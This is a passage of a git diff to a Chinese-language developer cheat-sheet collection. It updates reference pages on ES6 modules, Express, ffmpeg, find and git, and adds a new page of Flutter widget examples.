// 又名: const indent = require('···').indent
```
---
----
```js
import * as Helpers from 'helpers'
// 又名: const Helpers = require('···')
```
---
----
```js
import { indentSpaces as indent } from 'helpers'
// 又名: const indent = require('···').indentSpaces
@ -554,12 +613,16 @@ import { indentSpaces as indent } from 'helpers'
export default function () { ··· }
// 又名: module.exports.default = ···
```
----
```js
export function mymethod () { ··· }
// 又名: module.exports.mymethod = ···
```
----
```js
export const pi = 3.14159
// 又名: module.exports.pi = ···
@ -643,6 +706,22 @@ new URL('data.txt', import.meta.url)
Node.js 环境中,`import.meta.url`返回的总是本地路径,即 `file:URL` 协议的字符串,比如 `file:///home/user/foo.js`
### 导入断言Import Assertions
<!--rehype:wrap-class=col-span-2-->
#### 静态导入
```js
import json from "./package.json" assert {type: "json"}
// 导入 json 文件中的所有对象
```
#### 动态导入
```js
const json =
await import("./package.json", { assert: { type: "json" } })
```
Generators
----------
@ -655,7 +734,9 @@ function* idMaker () {
while (true) { yield id++ }
}
```
---
----
```js
let gen = idMaker()
gen.next().value // → 0
@ -707,7 +788,6 @@ gen[Symbol.iterator] = function* () {
`Generator` 函数赋值给 `Symbol.iterator` 属性,从而使得 `gen` 对象具有了 `Iterator` 接口,可以被 `...` 运算符遍历了
### Symbol.iterator 属性
```js
@ -724,4 +804,4 @@ g[Symbol.iterator]() === g // true
- [Learn ES2015](https://babeljs.io/docs/en/learn/) _(babeljs.io)_
- [ECMAScript 6 功能概述](https://github.com/lukehoban/es6features#readme) _(github.com)_
- [ECMAScript 6 入门教程 (阮一峰)](https://es6.ruanyifeng.com/) _(ruanyifeng.com)_
- [ECMAScript 6 入门教程 (阮一峰)](https://es6.ruanyifeng.com/) _(ruanyifeng.com)_

View File

@ -10,16 +10,21 @@ Express 备忘清单
<!--rehype:wrap-class=row-span-2-->
- 创建项目,添加 `package.json` 配置
```bash
$ mkdir myapp # 创建目录
$ cd myapp # 进入目录
$ npm init -y # 初始化一个配置
```
- 安装依赖
```bash
$ npm install express # 安装依赖
```
- 入口文件 `index.js` 添加代码:
```js
const express = require('express')
const app = express()
@ -31,7 +36,9 @@ Express 备忘清单
console.log(`监听端口${port}示例应用`)
})
```
- 使用以下命令运行应用程序
```bash
$ node index.js
```
@ -189,7 +196,7 @@ app.get('/', function (req, res) {
:- | :-
:- | :-
`res.app ` | [#](http://expressjs.com/en/4x/api.html#res.app)
`res.app` | [#](http://expressjs.com/en/4x/api.html#res.app)
`res.headersSent` | [#](http://expressjs.com/en/4x/api.html#res.headersSent)
`res.locals` | [#](http://expressjs.com/en/4x/api.html#res.locals)
@ -404,4 +411,4 @@ app.get('/', (req, res) => {
title: 'Hey', message: 'Hello there!'
})
})
```
```

View File

@ -103,7 +103,6 @@ $ ffmpeg -i movie.webm movie.mp4
`Mi` | 220 | 1048576 | 兆字节 Mebibyte
`Gi` | 230 | 1073741824 | Gibibyte
### 音频参数
<!--rehype:wrap-class=col-span-2-->
@ -122,33 +121,17 @@ $ ffmpeg -i movie.webm movie.mp4
---
<!--rehype:body-class=cols-2-->
###
<!--rehype:wrap-class=row-span-2-->
### 剪切视频部分
<!--rehype:wrap-class=col-span-2-->
```bash
$ ffmpeg -i <input> -filter:v "crop=640:480:100:25" <output>
```
<!--rehype:className=wrap-text -->
通过从输入视频中复制偏移 `x=100px` `y=25px` 的相应窗口来创建 `640x480` 大小的输出视频
```bash
# 裁剪到宽度 360高度 640
$ ffmpeg -i input.mov -filter:v 'crop=360:640:0:0' -codec:a copy output.mov
```
<!--rehype:className=wrap-text -->
裁剪到宽度 360高度 640从坐标 (10, 20) 开始
```bash
$ ffmpeg -i input.mov -filter:v 'crop=360:640:10:20' -codec:a copy output.mov
```
<!--rehype:className=wrap-text -->
### 缩放
```bash
$ ffmpeg -i <输入> -vf scale=640:480 <输出>
# 从1分45秒开始剪切2分35秒
$ ffmpeg -i <input> -ss 00:01:45 -t 00:02:35 -vcodec copy -acodec copy <output>
# 从1分45秒开始剪切到第4分20秒与上一行等效
$ ffmpeg -i <input> -ss 00:01:45 -to 00:04:20 -codec copy <output>
$ ffmpeg -ss 00:00:30 -i orginalfile.mpg -t 00:00:05 -vcodec copy -acodec copy newfile.mpg
# 从 4.5 秒开始的 5 秒长的视频
$ ffmpeg -i in.mp4 -ss 4.5 -t 5 out.mp4
```
<!--rehype:className=wrap-text -->
@ -166,17 +149,6 @@ $ ffmpeg -r 1 -i input.m2v -r 24 output.avi
将输入文件的帧速率(仅对原始格式有效)强制为 1 fps将输出文件的帧速率强制为 24 fps
### 剪切视频部分
<!--rehype:wrap-class=col-span-2-->
```bash
$ ffmpeg -i <input> -ss 00:01:45 -t 00:02:35 -vcodec copy -acodec copy <output>
$ ffmpeg -ss 00:00:30 -i orginalfile.mpg -t 00:00:05 -vcodec copy -acodec copy newfile.mpg
# 从 4.5 秒开始的 5 秒长的视频
$ ffmpeg -i in.mp4 -ss 4.5 -t 5 out.mp4
```
<!--rehype:className=wrap-text -->
### H265 2-pass 编码
<!--rehype:wrap-class=row-span-2-->
@ -210,14 +182,6 @@ $ ffmpeg -i <input> -c copy -metadata:s:v:0 rotate=90 <output>
不要为旋转重新编码,而是简单地为旋转角度添加一个视频元数据字段
### 放慢视频速度
```bash
$ ffmpeg -i in.mp4 -filter:v "setpts=4.0*PTS" out.mp4
```
使用过滤器减慢视频。 此示例将视频减慢四倍
### 缩放到特定宽度
```bash
@ -232,28 +196,17 @@ $ ffmpeg -i in.mp4 -filter:v scale="538:trunc(ow/a/2)*2" -c:a copy out.mp4
### 提取音频流
```bash
$ ffmpeg -i file.mp4 -vn -acodec copy output.aac
$ ffmpeg -i file.mp4 -vn -c copy output.aac
```
<!--rehype:className=wrap-text -->
`-vn`(无视频)与 `-acodec copy` 结合起来。请注意,输出文件扩展名必须与输入文件中的音频编解码器匹配,`-acodec copy` 才能工作
`-vn` (过滤视频),使用 `-c copy`,不会重新解码和编码,加快速度
### 创建缩略图
<!--rehype:wrap-class=row-span-2-->
在 10 秒时创建一个缩略图
### 提取视频流
```bash
$ ffmpeg -ss 10 -i <input file> -vframes 1 -vcodec png -an thumb.png
$ ffmpeg -i file.mp4 -an -c copy output.mp4
```
<!--rehype:className=wrap-text -->
例如,要每 `n` 秒创建一次缩略图,请使用 `-vf fps=1/n`
```bash
$ ffmpeg -i <input file> -vf fps=1/60 thumbnails/thumb%03d.png
```
<!--rehype:className=wrap-text -->
### 处理 id3 标签
<!--rehype:wrap-class=row-span-2-->
@ -281,8 +234,51 @@ $ ffmpeg -i file.aac -acodec mp3 -ar 44100 -ab 128000 output.mp3
```
<!--rehype:className=wrap-text -->
### 将输入文件转码为 DVD PAL 格式
```bash
$ ffmpeg -y -threads 8 -i inFile -target pal-dvd -ac 2 -aspect 16:9 -acodec mp2 -ab 224000 -vf pad=0:­0:0:0 outFile
```
<!--rehype:className=wrap-text -->
### -map 命令
<!--rehype:wrap-class=col-span-2 row-span-2-->
`-map` 命令用于指定索引文件,以及索引文件中流类型和它的索引
----
```bash
-map index:stram_type:stream_index
```
----
:- | -
:- | -
`input_file_index` | 输入的文件索引(从 0 开始)
`stream_type` | 指定文件流的类型(a -> 音频v -> 视频s -> 字幕)
`stream_index` | 指定流类型的索引(从 0 开始)
将第一个输入文件的第二个音频拷贝到 out.mp3
```bash
$ ffmpeg -i input.mp4 -map 0:a:1 -c copy out.mp3
```
将第一个输入文件的视频流和第二个输入文件的音频流拷贝到 out.mp4
```bash
$ ffmpeg -i i1.mp4 -i i2.mp4 -map 0:v -map 0:a -c copy out.mp4
```
#### 反向 -map 命令
<!--rehype:wrap-class=col-span-2-->
反向的 map 命令(在 map 命令的参数前加负号)。例如,`-map -0:a:0`,忽略第一个文件中的第一个音频流。
<!--rehype:className=wrap-text -->
### 切换容器(转换类型)
<!--rehype:wrap-class=row-span-2-->
将容器从 `MKV` 更改为 `MP4`
@ -314,22 +310,63 @@ $ ffmpeg -i input.mov -itsoffset 3 -i input.mov -map 1:v -map 0:a -codec:a copy
```
<!--rehype:className=wrap-text -->
### 图片中的视频
如果您有多个编号的图像 image1.jpg、image2.jpg... 像这样从它们创建一个视频
```bash
$ ffmpeg -f image2 -i image%d.jpg video.mp4
```
<!--rehype:className=wrap-text -->
多个编号的图像 image1.jpg、image2.jpg... 像这样从它们创建一个视频
### 将视频拆分为图像
```bash
$ ffmpeg -i video.mp4 image%d.jpg
```
### 录屏
<!--rehype:wrap-class=col-span-2 row-span-2-->
#### 查找所有可用设备
```bash
$ ffmpeg -f avfoundation -list_devices true -i ""
```
<!--rehype:className=wrap-text -->
<span style="color:red">一定要选择好设备,根据设备进行配置。</sapn>
#### windows 下录屏
```bash
$ ffmpeg -hide_banner -loglevel error -stats -f gdigrab -framerate 60 \
-offset_x 0 -offset_y 0 -video_size 1920x1080 -draw_mouse 1 -i deskop \
-c:v libx264 -r 60 -preset ultrafast -pix_fmt yuv420p -y screen_record.mp4
```
#### mac 下录屏
```bash
$ ffmpeg -f avfoundation -i 1:0 -preset ultrafast out.mkv
```
### 合并音频与图片
合并多个音频,自定义背景图片,生成视频音乐
```bash
# mylist.txt >>>
file '1.mp3'
file '2.mp3'
file '3.mp3'
# OBS: 46500 = 25:50 minutes * 60 * 30fps
# echo "00:25:50" | awk -F: '{ print (($1 * 3600) + ($2 * 60) + $3) * 30 }'
$ ffmpeg -y -loop 1 -i cover.jpg -f concat -i mylist.txt -c:v libx264 -r 30 -pix_fmt yuv420p -vframes 46500 -c:a aac -b:a 192k -strict experimental -shortest output.mp4
```
<!--rehype:className=wrap-text -->
### 转换为 Gif
<!--rehype:wrap-class=col-span-2 row-span-3-->
@ -349,27 +386,24 @@ $ ffmpeg -i input.gif output.mov
$ ffmpeg -i input.mov -codec:v copy -codec:a copy output.mp4
```
### 移除音频
```bash
$ ffmpeg -i input.mov -codec:v copy -an output.mov
```
<!--rehype:className=wrap-text -->
### 将输入文件转码为 DVD PAL 格式
```bash
$ ffmpeg -y -threads 8 -i inFile -target pal-dvd -ac 2 -aspect 16:9 -acodec mp2 -ab 224000 -vf pad=0:­0:0:0 outFile
```
<!--rehype:className=wrap-text -->
### 转换为灰度
```bash
$ ffmpeg -y -i inFile -flags gray outFile
```
### 字幕格式转换
```bash
# srt -> ass
$ ffmpeg -i subtitle.srt subtitle.ass
# ass -> vtt
$ ffmpeg -i subtitle.ass subtitle.vtt
```
srt、ass、vtt 等格式之间可以相互转换
<!--rehype:className=wrap-text -->
### 字幕
<!--rehype:wrap-class=col-span-2 row-span-2-->
@ -494,6 +528,196 @@ $ ffmpeg -i audioS.mp4 -i videoS.mp4 -c copy -map 0:a -map 1:v outFil­e.mp4
```
<!--rehype:className=wrap-text -->
### 合并视频
<!--rehype:wrap-class=col-span-3 row-span-3-->
合并相同规格(解码/分辨率/帧率)视频
```bash
# mylist.txt >>>
file '1.mp4'
file '2.mp4'
file '3.mp4'
# 这些文件是相对路径,如使用绝对路径需要添加 `-safe 0` 参数
$ ffmpeg -f concat -i mylist.txt -c copy output.mp4
```
<!--rehype:className=wrap-text -->
合并当前目录下所有视频
```bash
$ ffmpeg -f concat -safe 0 -i <(for f in ./*.mp4; do echo "file '$PWD/$f'"; done) -c copy output.mp4
```
<!--rehype:className=wrap-text -->
合并不同规格视频,保证视频不变形
```bash
$ ffmpeg -i 1.mp4 -c copy -bsf:v h264_mp4toannexb -f mpegts tmp1.ts
$ ffmpeg -i 2.mp4 -c copy -bsf:v h264_mp4toannexb -f mpegts tmp2.ts
$ ffmpeg -i 3.mp4 -c copy -bsf:v h264_mp4toannexb -f mpegts tmp3.ts
$ ffmpeg -threads 2 -i "concat:tmp1.ts|tmp2.ts|tmp3.ts" -vf "scale=720:1080:force_original_aspect_ratio=decrease,pad=720:1080:(ow-iw)/2:(oh-ih)/2" -pix_fmt yuvj420p -shortest -y output.mp4
```
<!--rehype:className=wrap-text -->
合并不同解码视频
```bash
$ ffmpeg -i input1.mp4 -i input2.webm -i input3.mov \
-filter_complex "[0:v:0][0:a:0][1:v:0][1:a:0][2:v:0][2:a:0]concat=n=3:v=1:a=1[outv][outa]" \
-map "[outv]" -map "[outa]" output.mkv
```
<!--rehype:className=wrap-text -->
合并视频并重新编码音频
```bash
$ ffmpeg -f concat -i mylist.txt -c:v copy -c:a flac -strict -2 output.mp4
```
<!--rehype:className=wrap-text -->
视频过滤器
---
### 格式
如果一个 fliter 有多个参数,需要使用 `,` 分隔
```bash
$ ffmpeg -i test.avi -c:v libx264 -vf "scale=1024:-1,transpose=1,crop=iw/3:ih/3" output.mp4
```
### 缩放
<!--rehype:wrap-class=row-span-2-->
```bash
$ ffmpeg -i input.mp4 -vf "scale=640:480" out.mp4
# -1 → 指根据另一个参数帮我们推断
$ ffmpeg -i input.mp4 -vf "scale=720:-1" out.mp4
# 宽度和高度
ffmpeg -i input.mp4 -vf "scale=w=800:h=600" output.mp4
# in_w\in_h 输入尺寸
ffmpeg -i input.mkv -vf "scale=w=1/2*in_w:h=1/2*in_h" output.mkv
```
<!--rehype:className=wrap-text -->
### 裁剪
<!--rehype:wrap-class=row-span-2-->
从左上角开始,复制 `x=0px` `y=0px` 的相应窗口来创建 `1280x720` 大小的输出视频
```bash
ffmpeg -i input.mp4 -vf "crop=w=1280:h=720:x=0:y=0" output.mp4
```
裁剪到宽度 360高度 640从坐标 (10, 20) 开始
```bash
$ ffmpeg -i input.mov -vf 'crop=360:640:10:20' output.mov
```
<!--rehype:className=wrap-text -->
### 去除水印
设置一个矩形覆盖区域 x=10:y=10:w=120:h=45
```bash
# show=1 为可选参数,设置显示边框,方便调试用的
ffmpeg -i 1.mp4 -b:v 548k -vf delogo=x=10:y=10:w=120:h=45:show=1 output.mp4
```
<!--rehype:className=wrap-text -->
### 创建缩略图
<!--rehype:wrap-class=row-span-2-->
在 10 秒时创建一个缩略图
```bash
$ ffmpeg -ss 10 -i <input file> -vframes 1 -vcodec png -an thumb.png
```
<!--rehype:className=wrap-text -->
例如,要每 `n` 秒创建一次缩略图,请使用 `-vf fps=1/n`
```bash
$ ffmpeg -i <input file> -vf fps=1/60 thumbnails/thumb%03d.png
```
<!--rehype:className=wrap-text -->
### 添加水印
在视频左上方 20,20 的位置插入 logo.png 图片
```bash
# -b:v 548k 可选参数,设置视频比特率,默认 200k 最好设置与原视频一致
ffmpeg -i 1.mp4 -acodec copy -b:v 548k -vf "movie=logo.png[watermark];[in][watermark]overlay=20:20" output.mp4
```
<!--rehype:className=wrap-text -->
### 视频旋转
```bash
# 顺时针旋转 90
$ ffmpeg -i input.avi -vf "rotate=90*PI/180" out.mp4
# 顺时针旋转 180翻转 90
$ ffmpeg -i input.mp4 -vf "rotate=PI" out.mp4
```
### 更改视频播放速度
```bash
# 加速 2 倍
$ ffmpeg -i input.mkv -vf "setpts=0.5*PTS" output.mkv
# 减速 2 倍
$ ffmpeg -i input.mp4 -vf "setpts=2*PTS" output.mp4
```
### 添加背景音乐
```bash
# -t 10 文件时长,单位为秒,建议取值原始视频总时长
$ ffmpeg -i 1.mp4 -i test.mp3 \
-filter_complex "[1:a]aloop=loop=-1:size=2e+09[out];[out][0:a]amix" \
-t 10 out.mp4
```
音频过滤器
---
### 调节音量
```bash
# 增大音量
$ ffmpeg -i test.mp4 -af "volumn=1.5" out.mp4
```
### 更改音频速度
<!--rehype:wrap-class=row-span-2-->
```bash
$ ffmpeg -i input.wav -af "atempo=0.75" output.wav
# 加速 4 倍
$ ffmpeg -i input.mp3 -af "atempo=2.0,atempo=2.0" ouutput.mp3
```
`atempo` 它只接受 `0.5`(半速) 到 `2` (倍速)之间的值。为了越过这个限制,你可以链式使用这个过滤器
### 统一视频的音量
```bash
$ ffmpeg -i test.mp4 -af "loudnorm=I=-5:LRA=1" out.mp4
```
### 重新映射通道数
```bash
# 使左右耳的声音同时出现
$ ffmpeg -i input.mp3 -af "channelmap=1-0|1-1" output.mp3
```
另见
---
@ -501,4 +725,4 @@ $ ffmpeg -i audioS.mp4 -i videoS.mp4 -c copy -map 0:a -map 1:v outFil­e.mp4
- [FFmpeg Cheat Sheet](https://lzone.de/cheat-sheet/ffmpeg) _(lzone.de)_
- [FFmpeg Cheat Sheet](https://devhints.io/ffmpeg) _(devhints.io)_
- [FFmpeg Cheat Sheet](https://github.com/yuanqing/ffmpeg-cheatsheet) _(github.com)_
- [FFmpeg Cheat Sheet](https://cheatography.com/thetartankilt/cheat-sheets/ffmpeg/) _(cheatography.com)_
- [FFmpeg Cheat Sheet](https://cheatography.com/thetartankilt/cheat-sheets/ffmpeg/) _(cheatography.com)_

View File

@ -39,7 +39,6 @@ $ find . -name "json_*"
| `-mindepth` | find / -mindepth 3 -maxdepth 5 -name pass | 在子目录级别 2 和 4 之间 |
<!--rehype:className=show-header-->
### 类型
| | |
@ -197,11 +196,11 @@ $ find /home -user tecmint -iname "*.txt"
### 多个文件名
```shell
$ find . -type f \( -name "*.sh" -o -name "*.txt" \)
$ find . -type f \( -name "*.sh" -or -name "*.txt" \)
```
<!--rehype:className=wrap-text -->
查找带有 `.sh` `.txt` 扩展名的文件
查找带有 `.sh` `.txt` 扩展名的文件
### 多个目录
@ -224,7 +223,6 @@ $ find . -type d -empty
$ find . -type f -empty -delete
```
查找日期和时间
-------------
@ -390,3 +388,11 @@ $ find / -type d -perm 777 -print -exec chmod 755 {} \;
$ find . -type f -name "*.java" | xargs tar cvf myfile.tar
$ find . -type f -name "*.java" | xargs tar rvf myfile.tar
```
### 查找并排除目录
查找当前目录及子目录中的所有`js`文件,但是排除掉`node_modules`目录中的
```shell
$ find . -type f -name "*.js" -not -path "./node_modules/*"
```

421
docs/flutter.md Normal file
View File

@ -0,0 +1,421 @@
Flutter 备忘清单
===
包含 Flutter 常用的组件、布局、方法等。初学者的完整快速参考
入门
---
### macOS 操作系统上安装和配置
```bash
$ sudo softwareupdate --install-rosetta --agree-to-license
```
<!--rehype:className=wrap-text-->
在 [Apple 芯片的 Mac 电脑](https://support.apple.com/zh-cn/HT211814) 上,还需要安装 [Rosetta 2](https://github.com/flutter/website/pull/7119#issuecomment-1124537969) 环境因为 一些辅助工具 仍然需要,通过手动运行上面的命令来安装
#### 获取 Flutter SDK
- 安装包来获取最新的 stable Flutter SDK
- Intel [`flutter_macos_3.3.8-stable.zip`](https://storage.flutter-io.cn/flutter_infra_release/releases/stable/macos/flutter_macos_3.3.8-stable.zip)
- Apple 芯片 [`flutter_macos_arm64_3.3.8-stable.zip`](https://storage.flutter-io.cn/flutter_infra_release/releases/stable/macos/flutter_macos_arm64_3.3.8-stable.zip)
想要获取到其他版本的安装包,请参阅 [SDK 版本列表](https://flutter.cn/docs/development/tools/sdk/releases) 页面
- 将文件解压到目标路径, 比如:
```bash
$ cd ~/development
$ unzip ~/Downloads/flutter_macos_3.3.8-stable.zip
```
<!--rehype:className=wrap-text-->
- 配置 `flutter` 的 PATH 环境变量:
```bash
$ export PATH="$PATH:`pwd`/flutter/bin"
```
- 运行 `flutter doctor` 命令
<!--rehype:className=style-timeline-->
### Windows 操作系统上安装和配置
- 点击下方的安装包,获取 stable 发行通道的 Flutter SDK 最新版本:
- [flutter_windows_3.3.8-stable.zip](https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_3.3.8-stable.zip)
- 要查看其他发行通道和以往的版本,请参阅 [SDK 版本列表](https://flutter.cn/docs/development/tools/sdk/releases) 页面
- 将压缩包解压,然后把其中的 `flutter` 目录整个放在你想放置 `Flutter SDK` 的路径中(例如 `C:\src\flutter`
- 更新 `path` 环境变量,在开始菜单的搜索功能键入`「env」`,然后选择 `编辑系统环境变量`。在 **`用户变量`** 一栏中,检查是否有 **`Path`** 这个条目:
- 如果存在这个条目,以 `;` 分隔已有的内容,加入 `flutter\bin` 目录的完整路径。
- 如果不存在的话,在用户环境变量中创建一个新的 Path 变量,然后将 `flutter\bin` 所在的完整路径作为新变量的值
<!--rehype:className=style-timeline-->
如果你不想安装指定版本的安装包。可以忽略步骤 `1` 和 `2`。从 `GitHub` 上的 `Flutter repo` 获取源代码,并根据需要,切换到指定的分支或标签
```bash
C:\src>git clone https://github.com/flutter/flutter.git -b stable
```
<!--rehype:className=wrap-text-->
基础组件
---
### Text 样式文本
```dart
Text("Hello world",
textAlign: TextAlign.left,
);
Text("Hello world! I'm Jack. "*4,
maxLines: 1,
overflow: TextOverflow.ellipsis,
);
Text("Hello world",
textScaleFactor: 1.5,
);
```
### TextStyle 指定文本显示的样式
```dart
Text("Hello world",
style: TextStyle(
color: Colors.blue,
fontSize: 18.0,
height: 1.2,
fontFamily: "Courier",
background: Paint()..color=Colors.yellow,
decoration:TextDecoration.underline,
decorationStyle: TextDecorationStyle.dashed
),
);
```
<!--rehype:className=wrap-text-->
### TextSpan 文本的一个“片段”
```dart
Text.rich(TextSpan(
children: [
TextSpan(
text: "Home: "
),
TextSpan(
text: "https://flutter.dev",
style: TextStyle(
color: Colors.blue
),
recognizer: _tapRecognizer
),
]
))
```
### DefaultTextStyle 文本默认样式
<!--rehype:wrap-class=row-span-4-->
```dart
DefaultTextStyle(
// 1.设置文本默认样式
style: TextStyle(
color:Colors.red,
fontSize: 20.0,
),
textAlign: TextAlign.start,
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: <Widget>[
Text("hello world"),
Text("I am Jack"),
Text("I am Jack",
style: TextStyle(
inherit: false, //2.不继承默认样式
color: Colors.grey
),
),
],
),
);
```
<!--rehype:className=wrap-text-->
### 字体设置加载
<!--rehype:wrap-class=row-span-4-->
- 在 asset 中声明,要先在 `pubspec.yaml` 中声明它
```yaml
flutter:
fonts:
- family: Raleway
fonts:
- asset: assets/fonts/Raleway-Regular.ttf
- asset: assets/fonts/Raleway-Medium.ttf
weight: 500
- asset: assets/fonts/Raleway-SemiBold.ttf
weight: 600
- family: AbrilFatface
fonts:
- asset: assets/fonts/abrilfatface/AbrilFatface-Regular.ttf
```
- 将字体文件复制到在 `pubspec.yaml` 中指定的位置
- 使用字体
```dart
// 声明文本样式
const textStyle = const TextStyle(
fontFamily: 'Raleway',
);
// 使用文本样式
var buttonText = const Text(
"Use the font for this text",
style: textStyle,
);
```
<!--rehype:className=style-timeline-->
### ElevatedButton "漂浮"按钮
```dart
ElevatedButton(
child: Text("normal"),
onPressed: () {},
);
```
### TextButton 文本按钮
```dart
TextButton(
child: Text("normal"),
onPressed: () {},
)
```
### OutlineButton 边框阴影且背景透明按钮
```dart
OutlineButton(
child: Text("normal"),
onPressed: () {},
)
```
### IconButton 可点击的图标按钮
```dart
IconButton(
icon: Icon(Icons.thumb_up),
onPressed: () {},
)
```
### 带图标的按钮
```dart
ElevatedButton.icon(
icon: Icon(Icons.send),
label: Text("发送"),
onPressed: _onPressed,
),
OutlineButton.icon(
icon: Icon(Icons.add),
label: Text("添加"),
onPressed: _onPressed,
),
TextButton.icon(
icon: Icon(Icons.info),
label: Text("详情"),
onPressed: _onPressed,
),
```
### 从 asset 中加载图片
- 在工程根目录下创建一个`images目录`,并将图片 `aaa.png` 拷贝到该目录。
- 在 `pubspec.yaml` 中的 `flutter` 部分添加如下内容:
```yaml
assets:
- images/aaa.png
```
注意: 由于 yaml 文件对缩进严格,所以必须严格按照每一层两个空格的方式进行缩进,此处 assets 前面应有两个空格。
- 加载该图片
```dart
Image(
image: AssetImage("images/aaa.png"),
width: 100.0
);
```
Image 也提供了一个快捷的构造函数 `Image.asset` 用于从 `asset` 中加载、显示图片:
```dart
Image.asset("images/aaa.png",
width: 100.0,
)
```
<!--rehype:className=style-timeline-->
### 从网络加载图片
```dart
Image(
image: NetworkImage(
"https://avatars2.githubusercontent.com/u/20411648?s=460&v=4"),
width: 100.0,
)
```
<!--rehype:className=wrap-text-->
Image 也提供了一个快捷的构造函数 `Image.network` 用于从网络加载、显示图片:
```dart
Image.network(
"https://avatars2.githubusercontent.com/u/20411648?s=460&v=4",
width: 100.0,
)
```
<!--rehype:className=wrap-text-->
### Image 参数
<!--rehype:wrap-class=row-span-2-->
```dart
const Image({
...
this.width, // 图片的宽
this.height, // 图片高度
this.color, // 图片的混合色值
this.colorBlendMode, // 混合模式
this.fit,// 缩放模式
// 对齐方式
this.alignment = Alignment.center,
// 重复方式
this.repeat = ImageRepeat.noRepeat,
...
})
```
### Switch 单选开关
```dart
Switch(
value: true,//当前状态
onChanged:(value){
// 重新构建页面
},
),
```
### Checkbox 复选框
<!--rehype:wrap-class=row-span-2-->
```dart
Checkbox(
value: true,
// 选中时的颜色
activeColor: Colors.red,
onChanged:(value){
// ...
},
)
```
### TextField 文本输入框
```dart
TextField(
autofocus: true,
onChanged: (v) {
print("onChange: $v");
}
)
```
### LinearProgressIndicator 线性、条状的进度条
模糊进度条(会执行一个动画)
```dart
LinearProgressIndicator(
backgroundColor: Colors.grey[200],
valueColor: AlwaysStoppedAnimation(Colors.blue),
),
```
<!--rehype:className=wrap-text-->
进度条显示 `50%`
```dart
LinearProgressIndicator(
backgroundColor: Colors.grey[200],
valueColor: AlwaysStoppedAnimation(Colors.blue),
value: .5,
)
```
<!--rehype:className=wrap-text-->
### CircularProgressIndicator 圆形进度条
模糊进度条(会执行一个旋转动画)
```dart
CircularProgressIndicator(
backgroundColor: Colors.grey[200],
valueColor: AlwaysStoppedAnimation(Colors.blue),
),
```
<!--rehype:className=wrap-text-->
进度条显示 `50%`,会显示一个半圆
```dart
CircularProgressIndicator(
backgroundColor: Colors.grey[200],
valueColor: AlwaysStoppedAnimation(Colors.blue),
value: .5,
),
```
<!--rehype:className=wrap-text-->
### 自定义尺寸
线性进度条高度指定为 `3`
```dart
SizedBox(
height: 3,
child: LinearProgressIndicator(
backgroundColor: Colors.grey[200],
valueColor: AlwaysStoppedAnimation(Colors.blue),
value: .5,
),
),
```
圆形进度条直径指定为 `100`
```dart
SizedBox(
height: 100,
width: 100,
child: CircularProgressIndicator(
backgroundColor: Colors.grey[200],
valueColor: AlwaysStoppedAnimation(Colors.blue),
value: .7,
),
),
```
另见
---
- [Dart 备忘清单](./dart.md) _(jaywcjlove.github.io)_
- [flutter 官网](https://flutter.dev) _(flutter.dev)_
- [flutter 中文开发者社区](https://flutterchina.club/) _(flutterchina.club)_

View File

@ -185,6 +185,7 @@ $ git tag my_tag
```shell
$ git checkout -b <branch-name> origin/<branch-name>
```
<!--rehype:className=wrap-text-->
### 临时提交
@ -236,6 +237,55 @@ $ git diff branchB...branchA
$ git show [SHA]
```
### 忽略文件
<!--rehype:wrap-class=row-span-4-->
文件 `.gitignore` 指定了 `Git` 应该忽略的 **未跟踪的** 文件
:- | :-
:- | :-
行首 `#` | 全行注释,不支持行尾类注释 _(转义 `\#`)_
行首 **`!`** | 否定模式 _(转义 `\!`)_
`**` | 匹配任意路径
`*` | 匹配任意多个字符
`?` | 匹配任意一个字符
`doc/**` | 匹配 `doc` 文件夹下的全部内容
`doc/**/a` | 匹配任意深度路径下的 `a` 文件或文件夹
`/` | 表示路径分隔符,不区分操作系统
`/` 结尾 | 仅会匹配文件夹,否则会匹配文件和文件夹
空行 | 不匹配任何文件
行尾空格 | 默认被忽略,可使用`\`进行转义
行首空格 | 被正常处理,不会被忽略
当前 `.gitignore` 文件定义规则的优先级高于上级路径 `.gitignore` 定义规则的优先级;后定义的规则优先级高于前面定义规则的优先级
```gitignore showLineNumbers
# 忽略当前目录logs文件夹下的全部内容
/logs/
/logs/*
/logs/**
# 上述几条规则等效
# 忽略 Mac 系统文件,包括任意子路径下的同名文件(夹)
.DS_store
# 忽略 node_modules 文件夹,包括任意子路径下的同名文件夹
node_modules/
# 忽略任意子路径下build、target文件夹
# 但不忽略src/main、src/test下的build、target文件夹
build/
!**/src/main/**/build/
!**/src/test/**/build/
target/
!**/src/main/**/target/
!**/src/test/**/target/
# 使用 ! 重新包含指定文件(夹)
!logs/.gitkeep
```
<!--rehype:className=wrap-text-->
### 重构文件名
```bash
@ -339,23 +389,8 @@ $ git mv [existing-path] [new-path]
$ git log --stat -M
```
### 忽略文件
```gitignore showLineNumbers
/logs/*
# “!” 意思是不要忽视
!logs/.gitkeep
# 忽略 Mac 系统文件
.DS_store
# 忽略 node_modules 文件夹
node_modules
# 忽略 SASS 配置文件
.sass-cache
```
`.gitignore` 文件指定了 Git 应该忽略的未跟踪的文件
### git 配置 ssh 代理
<!--rehype:wrap-class=col-span-2-->
```bash
$ cat ~/.ssh/config
@ -374,15 +409,20 @@ Git 技巧
### 重命名分支
- **重命名**为`new`
```shell
$ git branch -m <new>
$ git branch -m <old> <new> #重命名分支
```
- **推送**并重置
```shell
$ git push origin -u <new>
```
- **删除**远程分支
```shell
$ git push origin --delete <old> #方法1
$ git push origin :oldBranchName #方法2
@ -674,6 +714,7 @@ $ git blame <file-name>
```bash
$ git commit --amend --author='Author Name <email@address.com>'
```
<!--rehype:className=wrap-text-->
### 修改远程仓库的 url
@ -753,6 +794,7 @@ $ git rebase --autostash
```bash
$ git fetch origin pull/<id>/head:<branch-name>
```
<!--rehype:className=wrap-text-->
### 详细展示一行中的修改
@ -827,7 +869,6 @@ $ git config --global --unset http.https://github.com.proxy
$ git config --global --unset https.https://github.com.proxy
```
### clone 最新一次提交
```bash
@ -887,7 +928,59 @@ Host github.com
```
<!--rehype:className=wrap-text-->
Conventional Commmits
----
### 格式
<!--rehype:wrap-class=col-span-3-->
```text
<type>(<scope>): <short summary>
│ │ │
│ │ └─⫸ 紧凑简短的描述,无需大写,也不需要用句号结尾
│ │
│ └─⫸ Commit 范围: animations|bazel|benchpress|common|compiler|compiler-cli|core|
│ elements|forms|http|language-service|localize|platform-browser|
│ platform-browser-dynamic|platform-server|router|service-worker|
│ upgrade|zone.js|packaging|changelog|docs-infra|migrations|ngcc|ve|
│ devtools....
└─⫸ Commit 类型: build|ci|doc|docs|feat|fix|perf|refactor|test
